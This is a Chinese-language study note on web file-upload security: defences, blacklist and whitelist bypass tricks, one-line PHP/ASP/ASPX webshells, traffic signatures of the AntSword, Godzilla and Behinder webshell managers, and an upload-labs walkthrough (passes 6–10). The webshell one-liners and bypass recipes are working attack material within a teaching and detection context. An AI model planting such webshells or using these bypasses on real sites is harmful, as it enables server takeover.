目录
一、文件上传防御手段及绕过手段
文件上传防御手段
1. 验证文件类型
白名单验证:只允许上传特定类型的文件,如图像文件、PDF文件等,通过设置白名单来限制文件类型,避免上传潜在的恶意文件。
MIME类型检测:检查文件的MIME类型,确保其与预期的文件类型相匹配,防止攻击者通过修改文件扩展名来绕过检测。
2. 检查文件大小
设置最大文件大小:限制上传文件的大小,避免上传过大的文件导致服务器资源耗尽。这可以通过服务器配置或应用程序设置来实现。
3. 内容扫描
恶意软件扫描:使用反恶意软件引擎对上传的文件进行扫描,检测并阻止包含恶意代码的文件。建议结合多个反恶意软件引擎以提高检测率。
检查文件内容:除了MIME类型和扩展名外,还应检查文件内容的头部信息或特定区域的代码,确保文件内容符合预期,没有包含恶意脚本或代码。
4. 重命名和隔离存储
随机化文件名:对上传的文件进行重命名,使用随机生成的标识符作为文件名,增加攻击者猜测文件路径的难度。
隔离存储:将上传的文件存储在与应用服务器分离的专用存储区域,减少直接访问风险,并确保文件不会覆盖服务器上的关键文件。
5. 验证用户身份和授权
用户身份验证:在上传文件前要求用户进行身份验证,确保只有经过授权的用户才能上传文件。
权限控制:根据用户的角色和权限来限制其对文件上传功能的访问和使用。
6. 设置上传频率和数量限制
上传频率限制:限制用户在给定时间内可以上传的文件数量,防止恶意用户或自动化脚本滥用上传功能。
总数量限制:设置用户在特定时间内可以上传的文件总数限制,避免无限制地上传文件导致服务器资源耗尽。
文件上传绕过手段
1. 前端绕过
删除或禁用前端校验函数:可以通过删除JavaScript代码中的校验函数或禁用浏览器的JavaScript来绕过前端的文件类型、大小等校验。
修改数据包:使用工具(如Burp Suite)捕获并修改HTTP请求中的数据包,将恶意文件的后缀名修改为系统允许的后缀名,从而绕过前端的校验。
2. 黑名单绕过
等价扩展名绕过:利用系统对不同扩展名解析的等价性,将恶意文件重命名为黑名单中未包含的扩展名进行上传。
.htaccess文件上传:通过上传包含特定配置的.htaccess文件,使服务器将特定类型的文件(如图片)当作PHP文件解析执行。
大小写绕过:修改文件扩展名为大写形式(如PHP改为PHP),由于Windows系统对大小写不敏感,可能绕过黑名单检测。
空格、点号、::DATA绕过:在文件扩展名后添加空格、点号或::DATA字符串,利用Windows系统的特性绕过黑名单。这些字符在文件保存到服务器时可能会被自动去除或忽略。
双写绕过:利用某些过滤机制只替换一次黑名单中的关键字,通过双写关键字(如.pphphp)绕过过滤。
文件头检测绕过:通过在恶意文件前添加合法的文件头(如GIF89a),使系统误认为是合法文件而允许上传。
3. 白名单绕过
MIME类型绕过:修改HTTP请求中的Content-Type字段,使其与白名单中的MIME类型相匹配,从而绕过MIME类型检测。
00截断绕过:在某些情况下,通过在文件名中使用%00(URL编码的0x00)进行截断,可以绕过文件名检测的限制。但这需要满足特定条件,如PHP版本小于5.3.4且magic_quotes_gpc配置为Off。
二、 文件上传常用一句话木马
php: <?php @eval($_POST['cmd']); ?>
asp: <% eval request('cmd') %> 或 <% execute(request('cmd')) %>
aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%>
@符号在PHP中用于抑制错误信息的显示,即使执行出错也不会显示错误信息。
eval()函数用于执行字符串作为PHP代码。
$_POST['cmd']、request("cmd")、Request.Item["cmd"]分别是从HTTP POST请求中获取名为"cmd"的参数值。
三、三种webshell管理工具
(演示使用该工具连接webshell及抓取流量包进行分析特征)
1.antsword
生成木马
<?php
eval($_POST["pwd"]);
连接测试
代理设置抓包
点击文件抓包
流量分析
蚁剑中php使用assert、eval执行;asp只有eval执行;在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征。
使用一句话木马上传webshell,抓包后会发现每个请求体都存在以@ini_set("display_errors","0");@set_time_limit(0)开头。并且响应体的返回结果是base64编码发混淆字符。
2.godzilla
生成木马
测试连接
抓包
流量分析
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate
Cookie中有一个非常关键的特征,最后会有个分号。。
响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
3.behinder
生成木马
测试连接
代理设置抓包
流量分析
Accept字段(弱特征),通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript。
Content-Type字段(弱特征),通常是Content-type: Application/x-www-form-urlencoded
与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
冰蝎与webshell建立连接的同时,java也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive
有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥
四、文件上传无回显如何查找webshell地址
1. 利用网站日志
Web服务器日志:检查Web服务器的访问日志和错误日志,这些日志中可能包含有关文件上传操作的信息,如上传的文件名、上传时间以及可能的目标路径。
应用程序日志:如果网站有详细的应用程序日志记录功能,那么这些日志中也可能包含有关文件上传的详细信息。
2. 监控网络流量
使用网络抓包工具(如Wireshark)监控网络流量,特别是在执行文件上传操作时。这可以帮助你捕获上传过程中发送的HTTP请求和响应,从而可能推断出Webshell的上传路径。
3. 扫描和探测
Webshell扫描工具:利用专业的Webshell扫描工具(如D盾、河马等)对网站进行扫描,这些工具可以识别并定位已上传的Webshell文件。
手动扫描:如果扫描工具无法找到Webshell,可以考虑手动扫描网站的目录结构,特别是那些可能被用于存放上传文件的目录(如/uploads
、/images
等)。
4. 审查代码和配置文件
代码审计:如果可能的话,对网站的源代码进行审计,特别是与文件上传功能相关的部分。这可以帮助你了解文件上传的具体实现方式以及可能的Webshell上传路径。
配置文件审查:检查网站的配置文件(如.htaccess
、web.config
等),这些文件中可能包含有关文件上传和处理的规则或路径信息。
五、文件上传表单的无参/有参情况下构造表单
Burp Suite中构造请求体示例
有参
POST /upload.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
Hello, World!
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="userId"
12345
------WebKitFormBoundary7MA4YWxkTrZu0gW--
无参
POST /upload.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
Hello, World!
------WebKitFormBoundary7MA4YWxkTrZu0gW--
六、upload-labs靶场
pass-6
通过源码得知,并未对其大小进行限制,且是由于是黑名单,只限制了不可以上传的,那么的我们可以对php后缀进行大小写变形,例如:PHP、Php、pHp等
上传成功
pass-7
通过源码发现并未对空格进行限制,可以在后缀添加一个空格进行绕过,在Windows系统中我们无法创建后缀带空格的文件,但是在数据包中不会对后缀的空格进行清除,需要使用到BP进行抓包,对其进行修改,然后再进行上传。
上传成功
pass-8
通过源码发现,本关并未对结尾点进行检测。那么这里就可以通过在后缀加上点进行绕过
上传成功
pass-9
通过源码发现并未对::$DATA进行检测。可以在后面添加::$DATA进行绕过。
上传成功
pass-10
通过源码发现本关之前所有的绕过思路都被过滤了,但是通过源码发现,所有的过滤都是一次的,并未对其进行循环过滤。也就是说源码中提到的删除空格,删除点都是只删除一次,那么可以在数据包中将php后缀添加. .,形成.php. .,由于只验证一次,所以删除一个点和一个空格后就不在删除了。
上传成功